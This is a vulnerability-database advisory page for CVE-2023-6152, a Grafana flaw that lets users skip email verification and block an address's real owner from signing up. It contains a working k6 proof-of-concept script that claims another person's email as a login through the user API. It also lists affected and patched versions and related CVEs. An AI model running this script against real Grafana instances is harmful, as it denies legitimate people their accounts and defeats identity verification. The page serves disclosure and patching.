CVE-2023-6152Medium· 5.4▾ SunlitEmail Validation Bypass And Preventing Sign Up From Email's Owner
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.7 · likelihood 0.3 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 9.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.4%
Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only.
A user changing it's email after signing up (and verifying it) can change it without verification in /profile.
This can be used to prevent legitimate owner of the email address from signing up.
Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.
I don't know exact location but this is related to PUT /api/user handler.
Bypass email validation:
Prevent email's owner from signing up:
K6 script (with verify_email_enabled set to false):
import { check, group } from "k6"
import http from "k6/http"
export const options = {
scenarios: {
perVuIter: {
executor: 'per-vu-iterations',
vus: 1,
iterations: 1
}
}
}
const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"
export default function () {
group("create user_a with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
group("change user_a login to [email protected]", () => {
const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
"email": "[email protected]",
"login": "[email protected]", // user_b email.
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
http.cookieJar().clear(GRAFANA_URL)
group("create user_b with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"username": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200 // fail
})
})
}
Bypass email verification. Prevent legitimate owner from signing up.
github.com/grafana/grafana >= 2.5.0, < 9.5.16github.com/grafana/grafana >= 10.0.0, < 10.0.11github.com/grafana/grafana >= 10.1.0, < 10.1.7github.com/grafana/grafana >= 10.2.0, < 10.2.4github.com/grafana/grafana >= 10.3.0, < 10.3.3Upgrade to a patched release:
github.com/grafana/grafana 9.5.16github.com/grafana/grafana 10.0.11github.com/grafana/grafana 10.1.7github.com/grafana/grafana 10.2.4github.com/grafana/grafana 10.3.3Connected by shared product, vendor, weakness, or advisory.
CVE-2023-22462Medium· 6.4Grafana vulnerable to Stored Cross-site Scripting in Text plugin
CVE-2020-13430Medium· 6.1Grafana XSS via the OpenTSDB datasource
CVE-2024-10452Low· 2.2Grafana org admin can delete pending invites in different org
CVE-2019-19499Medium· 6.5Grafana Arbitrary File Read
CVE-2025-3415Medium· 4.3Grafana's insecure DingDing Alert integration exposes sensitive information
CVE-2020-12458Medium· 5.5Grafana information disclosure